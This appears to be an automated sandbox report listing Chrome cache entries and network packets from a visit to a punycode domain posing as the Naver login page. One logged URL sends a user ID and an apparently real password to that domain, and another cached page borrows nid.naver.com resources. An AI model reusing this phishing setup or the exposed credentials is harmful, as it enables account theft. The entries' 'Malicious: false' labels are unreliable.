SSDEEP:	3:s8VPmfLHrJLVCfLHLtIih9JE2v9rjEx/r99eJV9gEofVtq/A6AGb:s8RmBhCrhZxkPeJV+DV+
MD5:	2EBAC6766B70CEE030C8872E97F12C31
SHA1:	4F2CC54205F3F6B07BC7FA553C01D2AF278BF952
SHA-256:	12BCCA37679A5A1B128D481BA22D8AA6B7E75DA91B756619FCB05733120C1661
SHA-512:	D9FAC36580E126AA52D9C778CAC46BF9CF1AB0B11A120F866015A1D63751183A39FDFF2B2022D86530C37093148EC28E2624875B59DCD13BB7CC8AAB17005CAB
Malicious:	false
Reputation:	low
Preview:	showGNB({"loginId":"", "loginGroupId":"", "nickName":"", "imageUrl":"", "loginStatus":"" ,"meCount":0, "talkCount":0, "date":"2501", "membership":""});

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (835), with CRLF line terminators
Category:	dropped
Size (bytes):	136359
Entropy (8bit):	5.716659012077197
Encrypted:	false
SSDEEP:	3072:/ecLcQJD2bXb+4kY0Fcp+HAvDQfeYkFtIdVseLWRdCooO3BRCTK9/dPD81ldyDdT:/9DcpiAvDQfeYkFtIdVseLWRdCooO3B1
MD5:	36CCF6E769892168DE1789A82373669D
SHA1:	6F2245870BEEF7AB07D7802607E18C1F1275C74C
SHA-256:	0F2BED3FF9AF018DF6DCD5150547594470C2BD141201768C463CBB70706C5B59
SHA-512:	A1D11883616E5E1A95D41E05F94AF03BCCAF0B270D1A0040A2E714CE167B31E30DE718409EB948A587D6165BE2788195FF97CDF14ED3BFA77236A2206C23A42E
Malicious:	false
Reputation:	low
Preview:	..var gnb_date = new Date();....var gnbSvcs = {..."svc_lst1" : [{"id":"game","name":"..","sname":"..","link":"https://game.naver.com/"},....{"id":"weather","name":"..","sname":"..","link":"https://weather.naver.com/"},....{"id":"shopping","name":"...+ ...","sname":"...","link":"https://shopping.naver.com/ns/home"},....{"id":"navercast","name":"......","sname":"......","link":"https://tv.naver.com/navercast"},....{"id":"naverpay","name":".....","sname":".....","link":"https://order.pay.naver.com/home"},....{"id":"mybox","name":"... MYBOX","sname":"MYBOX","link":"https://mybox.naver.com/"},....{"id":"news","name":"..","sname":"..","link":"https://news.naver.com/"},....{"id":"comic","name":"..","sname":"..","link":"https://comic.naver.com/"},....{"id":"memo","name":"..","sname":"..","link":"https://memo.naver.com/"},....{"id":"mail","name":"..","sname":"..","link":"https://m

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 5992
Category:	downloaded
Size (bytes):	1435
Entropy (8bit):	7.8538338508736745
Encrypted:	false
SSDEEP:	24:Xin1lhNxR5HJNO5tDAC81GMdg4j6PnAzBH7NnUvjun839+ADXS7/8tkML/L8e63w:Xo1NH1JNO5tDAB1GFjAdOU833S7af03w
MD5:	95367724271C3CB2D52938C312CBFC28
SHA1:	E878ECB253E47D4C21917B25023B0A0505605F99
SHA-256:	1D10BE4C1534439804A7D5AEF8EEC8322825B163FF146E72B70BA9373B39A9DA
SHA-512:	0653FD054828215903FC717840045C9E232BC03B3870CDE6A5A99592E08CD53E6E040D636A4994BE552E51323F58241926360E1F358D2D18FC8BF1AA7A10951F
Malicious:	false
Reputation:	low
URL:	https://nid.naver.com/inc/common/js/lua.js
Preview:	...........[S.6.....A..b/....%.R...........(...bd'.....\|.c..>./......I.HG'........3.:........a..D..>...J..rX;....q.....V..!......S....'A.[0@T......A.....{.q.7.d^.,.e.-.9.[...=......l...H..a{.~.u.V+.2..q.,...7#.R... gg....Jf..y..`j..k^......2.b&...o.C.. .....N..7n.....^.;.W+....,9SMN...;9.NM.......8P.....5q('....8R..r.XM.FRb0z.8.....3).5...).M.F.6......L......[...3..n,./..E.]..... nQP-.F...(.."'fQ@..^..d..Y..uev.%......t..ZT...U).-..i^..mS.E...; ..`.XH.D.N...[@..u%QS.5)..VA...J.t)..RQ....Mu..P.C.6.....e../..#K.&3.f..B.Q....!....Q.i.....9.a.........`.w....d....y{`..]8..+.\|......-8S=4.F..d....X..gi...?).=gR........H.L.;....X...x..w.q.m:......R}...5...m.....B...>?.j.U.I3........L.>.k.[O>R..@...UE.'.../Y..!.0.D.IB........D....G.......7.P...........E...n4.......l<A.~.......gF.....;h....!?..h...g..:.).0.nDc......1..$..N......@..-]........(&.\..S.h......GgQ...g.'.....+[.P...O.yC.j`...<.o.1. ..*.(.T..f.'@k.....2m{.)w.j..)X.Sp....8...1.8..o4#...\|G.

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	422
Entropy (8bit):	3.8937993719736204
Encrypted:	false
SSDEEP:	6:YGKIS4puH4XtbvGXt3WpuH9SM5mWmJM5f0k0xepuHpV5Q5mWmaGCOJbvan:YGKI9uH4FOQuH9PLf0kWGuHdWHaSn
MD5:	2BA1CA5271A0FDD0C06E96C33203BCB0
SHA1:	95338C3CE9C87BFC873D388E051605FF5CE2804B
SHA-256:	BA6D00CDACAD5E89779EB2495A17BA366FF1058480FAC415733FCD5085D9EBAE
SHA-512:	845FD829DE9E233BABA91FC342BF4B5FEDE5F44C2D9E359511D02D5257F3ECE0B8B31438215F32F68576A25328570D70621DF40C5A6745A60302911E96E789A1
Malicious:	false
Reputation:	low
URL:	https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e//?m=cmd&uid=wldushjy&mm=pwd&p1=wldushjy&p2=rD%2C%3Ce.Z%5BQ5%2BsTfluK&p3=&_=1736838781680
Preview:	{"code": "pwd", "p": "\n \uc544\uc774\ub514(\ub85c\uadf8\uc778 \uc804\ud654\ubc88\ud638, \ub85c\uadf8\uc778 \uc804\uc6a9 \uc544\uc774\ub514) \ub610\ub294 \ube44\ubc00\ubc88\ud638\uac00 \uc798\ubabb \ub418\uc5c8\uc2b5\ub2c8\ub2e4. \uc544\uc774\ub514\uc640 \ube44\ubc00\ubc88\ud638\ub97c \uc815\ud655\ud788 \uc785\ub825\ud574 \uc8fc\uc138\uc694.\n "}

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 4 x 41, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	967
Entropy (8bit):	5.970143873089304
Encrypted:	false
SSDEEP:	24:/y1htZdWwjx82lY2T3pHEVPm0LyJ3Vo0bGxs/1:/wqNn2SArJ3TSM1
MD5:	0D1A520B5FB3B094F479184F68154AAD
SHA1:	87746544D1B59E663952E50D5B56C4103FD45364
SHA-256:	67BEF5D26AF42C5A7842ECD98BF3DF205CF8DE0270802B34A2380DE4EB517D46
SHA-512:	16BCD3F53D9DE967CFFF3226F98A1E135E035D477F86FC1532D42B914C7A8095059CDD64545FE7836F0EEC81C75199477BC2717D08A453060E6544C15FC6F7E3
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......)............tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c061 64.140949, 2010/12/07-10:57:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5.1 Windows" xmpMM:InstanceID="xmp.iid:F41CD7CC136811E2B63385991A58A372" xmpMM:DocumentID="xmp.did:F41CD7CD136811E2B63385991A58A372"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:F41CD7CA136811E2B63385991A58A372" stRef:documentID="xmp.did:F41CD7CB136811E2B63385991A58A372"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>j.I;...;IDATx.b.}+.....A......a...0.8`BV.R.......G.B.. ~6*0B.......0@.r......IEND.B`.

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 18021
Category:	downloaded
Size (bytes):	5127
Entropy (8bit):	7.9660254923271
Encrypted:	false
SSDEEP:	96:IaJU8I1iFULWacrmiDT1CqE+pD/YR9Chr5WHD3nvYRWNEeaXttw:IaLaLWaC5xfDQR9CpwHDnvYWva9W
MD5:	F2B727E59D607EEB08749907EAF80A78
SHA1:	8D1B8D01BD4417A3DF5B72BB931AD4E2A368E349
SHA-256:	31827861FB47D7397A9F8D2087A7004BF76A0DEB1D37C6B72B3B78D9B7BA80D9
SHA-512:	72BF50D7F610D4E0FEC687EE32BD8F13FA88478EFEBF7D005E6BAB4C31DA813D634E66599FDF4035C3317208C5B0A09E4A21BB839B88BFBE9D7CA8632C08ACC0
Malicious:	false
Reputation:	low
URL:	https://nid.naver.com/inc/common/js/rsaAll.js
Preview:	...........[.s.F........*@..>$Ek.L.\|..H.IY......EH.H.@.......=xPr6.`.3=..._....X.i.g..W._m.)........(.M.h....g.......6#...s.......t(..&..x.Z...<....xS/t.._YV<....n.K..hS'.$.t.....u..[.c.8.........FE.,.S....=...$N.:(......>..#.O.b.._...il.........n$5..!A2.c..>y.^......2......y.e.....b...]...ts..\..:.\|./W+bo....}.O...0..0C#6E..+....k...AM.X.B..G..Y...'.....!8..q.G..s!;A[..a......./.....6.N87..dp.0...v.h....d.w\;........g.U.-56/...9..L..\|..F..v.m^.q..8..BG.........g......D;...]..H/X./.$.u.9.C..V...uC.(...rE`.;..jQ..d..p!.........>.+.`.p...E.ga..^$i`H..i...;2....i.s..h..7S.S....P2.;pZI..TRJt......A..m.k....'{....r>....tw..a...4]J..t..u...........p.......2IW.G...\|..j.{..........C....oB(.N/\...j...m.......}..'c.......S..v..p>...Y>o.m>...i>Dnv.e#.M...,..#.5.b..B6. '.u..[_[.v8....Sw....t.~..._...f....U/..\|x.P.w....tS8..rI..2.5I........X6....G.`.'}.{...GaM.t..>.Q...!.L../..=.V$RP..>...a.^.vZ0.`.k...s,....(^.dP...z...bgp.X....P.v...Q..+..w.

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with CRLF line terminators
Category:	downloaded
Size (bytes):	15281
Entropy (8bit):	5.719247051952366
Encrypted:	false
SSDEEP:	384:Q6b13LZUz/itmT/BPeM1RKcRrfIHXD1iL77ryg:QUN/tYsM8gb
MD5:	A5D5B79EE59E8476BC1F5FCE437B0278
SHA1:	F107BFCD7BBEB7DC8F5C4A7243F29A753E22D7BB
SHA-256:	F1DB74533AAE67142E2CB31405BB27DF14AC0819D03BA173B6533A375D914E49
SHA-512:	3885CDC98D713BC9A29B88C51F23AE4883A4DD4DA51DDD1ED76ACFB4EA089EB76E1DCBE3EBBFD660801655E37BFFDE5CBDBFBAC6326ACFFB29F98CDA13F7947A
Malicious:	false
Reputation:	low
URL:	https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e/?LK5nlL=42tsHdrAHegtulvu&m=verify&token=d2xkdXNoank=&BrE7iQ=kqbwWaTlMmRCmcMX&last=edit
Preview:	<!DOCTYPE html>..<html lang="ko">....<head>...<base href="https://nid.naver.com">...<link rel="icon" type="image/ico" href="favicon.ico">...<meta charset="utf-8">...<meta http-equiv="X-UA-Compatible" content="IE=Edge">...<meta name="format-detection" content="telephone=no">...<meta name="viewport" content="width=device-width,initial-scale=1.0,minimum-scale=1.0,maximum-scale=1.0">...<meta http-equiv="Cache-Control" content="no-store, no-cache, must-revalidate">...<meta http-equiv="Cache-Control" content="post-check=0, pre-check=0">...<meta http-equiv="Pragma" content="No-Cache">.....<title>.... ... : ... ...</title>.....<script type="text/javascript" src="/inc/common/js/jquery.min.js"></script>...<link rel="stylesheet" type="text/css" href="https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e:443//assets/css/help_member.css">...<link rel="stylesheet" type="text/css" href="https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e:443//assets/css/w_202105.css">...<link

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (309)
Category:	dropped
Size (bytes):	5836
Entropy (8bit):	5.076472567420529
Encrypted:	false
SSDEEP:	96:8jwp2O3tkTudnESrDWwR2BejDVdN0xrvsD8JCSc:8cpSudESHWwRWej/NorsDnX
MD5:	8215CFD45B3BFBB5FE7EE5D89FB92FB9
SHA1:	B84CBC41F11E6979AD80D916C4C3B2A2378AE608
SHA-256:	6003564F429ABEDFEBB834B923045BC9DE62861E232ABD089CAE66F6FE177359
SHA-512:	13CF69CFED47C6B3035042AF4186B30587D9E9E11C563A06A3D84EDBAC3F080AC4729A91B5B5B6E69156F781A1A6E03A5235240FDCAA8AF8CB8274A97ECF52DB
Malicious:	false
Reputation:	low
Preview:	/*. Detect Element Resize Plugin for jQuery.. https://github.com/sdecima/javascript-detect-element-resize.* Sebastian Decima.. version: 0.5.3.**/..(function ( $ ) {..var attachEvent = document.attachEvent,...stylesCreated = false;....var jQuery_resize = $.fn.resize;....$.fn.resize = function(callback) {...return this.each(function() {....if(this == window).....jQuery_resize.call(jQuery(this), callback);....else.....addResizeListener(this, callback);...});..}...$.fn.removeResize = function(callback) {...return this.each(function() {....removeResizeListener(this, callback);...});..}....if (!attachEvent) {...var requestFrame = (function(){....var raf = window.requestAnimationFrame \|\| window.mozRequestAnimationFrame \|\| window.webkitRequestAnimationFrame \|\|.........function(fn){ return window.setTimeout(fn, 20); };....return function(fn){ return raf(fn); };...})();......var cancelFrame = (function(){....var cancel = window.cancelAnimationFrame \|\| window.mozCancelAnimationFrame \|\| wind

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	422
Entropy (8bit):	3.8937993719736204
Encrypted:	false
SSDEEP:	6:YGKIS4puH4XtbvGXt3WpuH9SM5mWmJM5f0k0xepuHpV5Q5mWmaGCOJbvan:YGKI9uH4FOQuH9PLf0kWGuHdWHaSn
MD5:	2BA1CA5271A0FDD0C06E96C33203BCB0
SHA1:	95338C3CE9C87BFC873D388E051605FF5CE2804B
SHA-256:	BA6D00CDACAD5E89779EB2495A17BA366FF1058480FAC415733FCD5085D9EBAE
SHA-512:	845FD829DE9E233BABA91FC342BF4B5FEDE5F44C2D9E359511D02D5257F3ECE0B8B31438215F32F68576A25328570D70621DF40C5A6745A60302911E96E789A1
Malicious:	false
Reputation:	low
Preview:	{"code": "pwd", "p": "\n \uc544\uc774\ub514(\ub85c\uadf8\uc778 \uc804\ud654\ubc88\ud638, \ub85c\uadf8\uc778 \uc804\uc6a9 \uc544\uc774\ub514) \ub610\ub294 \ube44\ubc00\ubc88\ud638\uac00 \uc798\ubabb \ub418\uc5c8\uc2b5\ub2c8\ub2e4. \uc544\uc774\ub514\uc640 \ube44\ubc00\ubc88\ud638\ub97c \uc815\ud655\ud788 \uc785\ub825\ud574 \uc8fc\uc138\uc694.\n "}

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	5266
Entropy (8bit):	5.392733595158445
Encrypted:	false
SSDEEP:	96:msi6M7YrqIoWqwhbqD/hTE9osxb61th+yrYyr+huwyNyXkxQyl5Mzk3lyE5oiZia:07pI79WDhuf61tEy0yaAwyNyUxQy7Mzc
MD5:	8B1A7DCA566348BBF640503FCAD6A3DC
SHA1:	73D296FF92A36668394B422ABDB8FBDAE5B5A216
SHA-256:	A4CE065BD4DE565480B20A8CB948EC9723FF2BC859AB313566914533D09C8A51
SHA-512:	81C9CCB01F16E027DBBAD88841E317CC3A0F61EA86DEAC9496E9D3EA60E51655F062E08B0D55E1D4121F0A043A38F2E0EDE9C1000B465D939C508F64B2CE83E7
Malicious:	false
Reputation:	low
Preview:	.// .... .. .. ... .. .... ... ###########################################################################.var url_login = "/user2/checkPasswd?m=checkPasswdForLogin";.var url_nologin = "/user2/checkPasswd?m=checkPasswdForNoLogin";..var isshift=false;.//var iscapslockon=false;.var isCapslock = false;.var pswdlevel= 0;.var focuswhere= 0;.var pwdstat = true;...function getXmlHttp(){..var xmlhttp;..try {...xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");..} catch (e) {...try {....xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");...} catch (E) {....xmlhttp = false;...}..}..if (!xmlhttp && typeof XMLHttpRequest!='undefined') {...xmlhttp = new XMLHttpRequest();..}..return xmlhttp;.}.function getAjaxResult(urls, params){..try {...var xmlhttp = getXmlHttp();...xmlhttp.open("POST", urls);...xmlhttp.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');...xmlhttp.onreadystatechange = function() {...if (xmlhttp.readyState == 4) {....pwdstr = x

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	47089
Entropy (8bit):	4.6025679609809655
Encrypted:	false
SSDEEP:	768:UFUgaedx2rZVzTgtTK2TGQwPxl+QTy0CPYiAzAvi5Rb1UKS8L3NTDvC7mtIkO3q+:GHTPwPxgvxP1xYUKS8L3NTDvC7mtIkOd
MD5:	659CF18F25537227B1256A4800308C75
SHA1:	D79AEC254901AD42B5D5E6046514F54EED61F90A
SHA-256:	0E3AB8BEC90558AF14BBF3C89E718D19D3DEF83FBA1E2D8EC3C69E58D1497346
SHA-512:	CDC1A639699523ABCDC63ACCB88AEDB011122CB4A70589EC972602CD80D9B67FE8051C67F2446F357AFB7C8ECC39699A114480ECE111AC8ACE3AC492F0785153
Malicious:	false
Reputation:	low
Preview:	// nclk.js, Version 0.7.1.// Log-data 2021.11.09...(function(nclkExports) {.. /* Global variable */.// Function Name : nclk.// Argument : e - `event` or `element` where event occured object, a - click area, i - gdID or cid, r - rank in area, opt - forced mode setting, g - extra variable, pid(option) - page id: .. .. g_pid .. lcs_get_lpid ...// Description : When users click link, this function is called. It request to the server, then the server log data.. var nclk = function (e, a, i, r, opt, g, pid) {. // opt. spec-out. ... ... .. ..... ... .. .... ..(#49). nclk_v2(e, a, i, r, g, pid);. };. var ccsrv = nclkExports.ccsrv \|\| "cc.naver.com"; // collect server. var nsc = nclkExports.nsc \|\| "decide.me";. var overwritedGlobal = {};. var allowedOrigin = nclkExports.g_allowedOrigin \|\| "";. var parentVar = {};.. nclk.vs = "0.7.1"; // version. nclk.md = "cc"; // module. nclk.pt = "ht

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 265 x 47, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	3475
Entropy (8bit):	7.9156713424772125
Encrypted:	false
SSDEEP:	48:yZ/68ulrnRxZbh2zbjhj4+Dlr7tuVhL1VF6pg7lXJM+tEb1nVmTvCTO4mokF5iBk:yZSDJZdWpptuXRVF667l/21oqYF5ieR/
MD5:	79C52D79EDD15F3FC6F2AEA4BACF131D
SHA1:	E3DE0C67C4B01EF87EB6BBFF17B7BDF7CE15C822
SHA-256:	B5728544D8801063F467D91961C6DCFCB2A468FA138C0E80412D331FC731DC97
SHA-512:	9A0C218372AD9F51256A15910943D63BB662212EE896F23A4F71586421B05F595019377089986E322F675211452326F2D3F5FF3B405D0D9D5F8D884CB672D2D1
Malicious:	false
Reputation:	low
URL:	https://ssl.pstatic.net/static/common/gnb/banner/promo_npay_2309.png
Preview:	.PNG........IHDR......./.......?.....pHYs.................sRGB.........gAMA......a....(IDATx..Ol.....U......bG~V.D.H.S.S).mT.K......9....#.z..n..z...r...H......mT.!6..&je#0.p....".u>..<.[......>......}...w~.&.)...A.'..%...ADB../".. x........ .^D$.A.""!.....A...H...EDB../".. x........ .^~.......P....}....M%..%...KE)...........#.I&....."...t.*Z$p.....E.@.?.^577.....<P.VT.3U.z...-<.Sp.R)..b.z..........jeeEUUU....{N.)..D......@X...........w..qc.......j..../.5.:&...-.....>7H.....)7...jh.....t..jr...(.G\g..9...Z......OU...:.@...\.9....Y.w......m.....>..z\|._.5.f..j...zN>....e..........#N..=.yl.]jzzZ..G.._..........~..uuu.e...S[.l)E<RE.$\.A...a.b.yvcj299.s-......Q__or..\|.4....... >(.....k.............5...Y.W.. ..9..T#..R..].....>lS.....P..g..0...z...k..U+N..3..].i......q.`...Q..Y.Z_p[!.c.g.....8.+.=.@..Pp.}W..v3{\|.e-.[.#._...G...8.].....Kjqq1.....l..D.W.\Q...3qw..!U,..........f .GFFL`...}...jhh..L.......kZ(..>..`G... .)k?..h

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (835), with CRLF line terminators
Category:	downloaded
Size (bytes):	136359
Entropy (8bit):	5.716659012077197
Encrypted:	false
SSDEEP:	3072:/ecLcQJD2bXb+4kY0Fcp+HAvDQfeYkFtIdVseLWRdCooO3BRCTK9/dPD81ldyDdT:/9DcpiAvDQfeYkFtIdVseLWRdCooO3B1
MD5:	36CCF6E769892168DE1789A82373669D
SHA1:	6F2245870BEEF7AB07D7802607E18C1F1275C74C
SHA-256:	0F2BED3FF9AF018DF6DCD5150547594470C2BD141201768C463CBB70706C5B59
SHA-512:	A1D11883616E5E1A95D41E05F94AF03BCCAF0B270D1A0040A2E714CE167B31E30DE718409EB948A587D6165BE2788195FF97CDF14ED3BFA77236A2206C23A42E
Malicious:	false
Reputation:	low
URL:	https://static.nid.naver.com/template/gnb_utf8.nhn?2021.%208.%2026
Preview:	..var gnb_date = new Date();....var gnbSvcs = {..."svc_lst1" : [{"id":"game","name":"..","sname":"..","link":"https://game.naver.com/"},....{"id":"weather","name":"..","sname":"..","link":"https://weather.naver.com/"},....{"id":"shopping","name":"...+ ...","sname":"...","link":"https://shopping.naver.com/ns/home"},....{"id":"navercast","name":"......","sname":"......","link":"https://tv.naver.com/navercast"},....{"id":"naverpay","name":".....","sname":".....","link":"https://order.pay.naver.com/home"},....{"id":"mybox","name":"... MYBOX","sname":"MYBOX","link":"https://mybox.naver.com/"},....{"id":"news","name":"..","sname":"..","link":"https://news.naver.com/"},....{"id":"comic","name":"..","sname":"..","link":"https://comic.naver.com/"},....{"id":"memo","name":"..","sname":"..","link":"https://memo.naver.com/"},....{"id":"mail","name":"..","sname":"..","link":"https://m

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	downloaded
Size (bytes):	1150
Entropy (8bit):	3.923664278714805
Encrypted:	false
SSDEEP:	24:3PVVzABBQLPBBpBqbccjcc/++uzH++x5:7znLjqH++uzH++n
MD5:	7267E1B55ACA265D4A1151599CF2E2F0
SHA1:	BC7B38FB61771715E80E27B10751FF5DE2A3F254
SHA-256:	77C9FB5E5407BECAB9407EBB738967F3195A78A080B8A11DC369D76220C9A685
SHA-512:	761D60C0ABB622C124E969B2DF7D5AC1580F1389F2C0DD48B5646E4AF0C28A265DDABA56C9D4B6EFDE6DAAF520BE4A3FD0D8AB92FFCFCF2AD979138AD8193DCC
Malicious:	false
Reputation:	low
URL:	https://nid.naver.com/favicon.ico
Preview:	............ .h.......(....... ..... .........................e...e...e...e...e...e...e...e...e...e...e...e...e...e...e...e...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...c...c...c...c...c...c...c...c...c...c...c...c...c...c...c...c...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...`...`...`...`..............._.....D.............`...`...`...`..._..._..._..._...............g..................._..._..._..._...^...^...^...^..................................^...^...^...^...]...]...]...]...................................]...]...]...]...^...^...^...^...................................^...^...^...^..._..._..._..._.....................[............._..._..._..._...`...`...`...`..................._...............`...`...`...`...a...a...a...a.................<.`...............a...a...a...a...c...c...c...c...m...m...l...c...c...l...m...m...c...c...c...c...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...f...f...f...f...f...f...f...f...f...f...f.

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2025 08:12:50.330374956 CET	49675	443	192.168.2.4	173.222.162.32
Jan 14, 2025 08:12:52.746481895 CET	49738	443	192.168.2.4	142.250.185.132
Jan 14, 2025 08:12:52.746576071 CET	443	49738	142.250.185.132	192.168.2.4
Jan 14, 2025 08:12:52.746661901 CET	49738	443	192.168.2.4	142.250.185.132
Jan 14, 2025 08:12:52.746846914 CET	49738	443	192.168.2.4	142.250.185.132
Jan 14, 2025 08:12:52.746877909 CET	443	49738	142.250.185.132	192.168.2.4
Jan 14, 2025 08:12:53.407716990 CET	443	49738	142.250.185.132	192.168.2.4
Jan 14, 2025 08:12:53.408129930 CET	49738	443	192.168.2.4	142.250.185.132
Jan 14, 2025 08:12:53.408209085 CET	443	49738	142.250.185.132	192.168.2.4
Jan 14, 2025 08:12:53.409101009 CET	443	49738	142.250.185.132	192.168.2.4
Jan 14, 2025 08:12:53.409286976 CET	49738	443	192.168.2.4	142.250.185.132
Jan 14, 2025 08:12:53.410300016 CET	49738	443	192.168.2.4	142.250.185.132
Jan 14, 2025 08:12:53.410403967 CET	443	49738	142.250.185.132	192.168.2.4
Jan 14, 2025 08:12:53.454386950 CET	49738	443	192.168.2.4	142.250.185.132
Jan 14, 2025 08:12:53.454449892 CET	443	49738	142.250.185.132	192.168.2.4
Jan 14, 2025 08:12:53.501395941 CET	49738	443	192.168.2.4	142.250.185.132
Jan 14, 2025 08:12:54.620803118 CET	60466	53	192.168.2.4	1.1.1.1
Jan 14, 2025 08:12:54.625637054 CET	53	60466	1.1.1.1	192.168.2.4
Jan 14, 2025 08:12:54.625724077 CET	60466	53	192.168.2.4	1.1.1.1
Jan 14, 2025 08:12:54.625736952 CET	60466	53	192.168.2.4	1.1.1.1
Jan 14, 2025 08:12:54.630575895 CET	53	60466	1.1.1.1	192.168.2.4
Jan 14, 2025 08:12:54.953366041 CET	60467	443	192.168.2.4	104.17.112.233
Jan 14, 2025 08:12:54.953459024 CET	443	60467	104.17.112.233	192.168.2.4
Jan 14, 2025 08:12:54.953474998 CET	60468	443	192.168.2.4	104.17.112.233
Jan 14, 2025 08:12:54.953500986 CET	443	60468	104.17.112.233	192.168.2.4
Jan 14, 2025 08:12:54.953545094 CET	60467	443	192.168.2.4	104.17.112.233
Jan 14, 2025 08:12:54.953552961 CET	60468	443	192.168.2.4	104.17.112.233
Jan 14, 2025 08:12:54.953929901 CET	60467	443	192.168.2.4	104.17.112.233
Jan 14, 2025 08:12:54.953973055 CET	443	60467	104.17.112.233	192.168.2.4
Jan 14, 2025 08:12:54.954082012 CET	60468	443	192.168.2.4	104.17.112.233
Jan 14, 2025 08:12:54.954097033 CET	443	60468	104.17.112.233	192.168.2.4
Jan 14, 2025 08:12:55.069473982 CET	53	60466	1.1.1.1	192.168.2.4
Jan 14, 2025 08:12:55.070049047 CET	60466	53	192.168.2.4	1.1.1.1
Jan 14, 2025 08:12:55.076349020 CET	53	60466	1.1.1.1	192.168.2.4
Jan 14, 2025 08:12:55.076468945 CET	60466	53	192.168.2.4	1.1.1.1
Jan 14, 2025 08:12:55.434461117 CET	443	60468	104.17.112.233	192.168.2.4
Jan 14, 2025 08:12:55.434691906 CET	60468	443	192.168.2.4	104.17.112.233
Jan 14, 2025 08:12:55.434731007 CET	443	60468	104.17.112.233	192.168.2.4
Jan 14, 2025 08:12:55.436374903 CET	443	60468	104.17.112.233	192.168.2.4
Jan 14, 2025 08:12:55.436438084 CET	60468	443	192.168.2.4	104.17.112.233
Jan 14, 2025 08:12:55.437979937 CET	443	60467	104.17.112.233	192.168.2.4
Jan 14, 2025 08:12:55.438175917 CET	60467	443	192.168.2.4	104.17.112.233
Jan 14, 2025 08:12:55.438241005 CET	443	60467	104.17.112.233	192.168.2.4
Jan 14, 2025 08:12:55.439924002 CET	443	60467	104.17.112.233	192.168.2.4
Jan 14, 2025 08:12:55.439999104 CET	60467	443	192.168.2.4	104.17.112.233
Jan 14, 2025 08:12:55.441255093 CET	60468	443	192.168.2.4	104.17.112.233
Jan 14, 2025 08:12:55.441289902 CET	60468	443	192.168.2.4	104.17.112.233
Jan 14, 2025 08:12:55.441343069 CET	443	60468	104.17.112.233	192.168.2.4
Jan 14, 2025 08:12:55.441401005 CET	60468	443	192.168.2.4	104.17.112.233
Jan 14, 2025 08:12:55.441418886 CET	443	60468	104.17.112.233	192.168.2.4
Jan 14, 2025 08:12:55.441431999 CET	60468	443	192.168.2.4	104.17.112.233
Jan 14, 2025 08:12:55.441463947 CET	60468	443	192.168.2.4	104.17.112.233
Jan 14, 2025 08:12:55.441723108 CET	60471	443	192.168.2.4	104.17.112.233
Jan 14, 2025 08:12:55.441771030 CET	443	60471	104.17.112.233	192.168.2.4
Jan 14, 2025 08:12:55.441843033 CET	60471	443	192.168.2.4	104.17.112.233
Jan 14, 2025 08:12:55.441951990 CET	60467	443	192.168.2.4	104.17.112.233
Jan 14, 2025 08:12:55.441992044 CET	60467	443	192.168.2.4	104.17.112.233
Jan 14, 2025 08:12:55.441992998 CET	60467	443	192.168.2.4	104.17.112.233
Jan 14, 2025 08:12:55.442054987 CET	443	60467	104.17.112.233	192.168.2.4
Jan 14, 2025 08:12:55.442117929 CET	60467	443	192.168.2.4	104.17.112.233
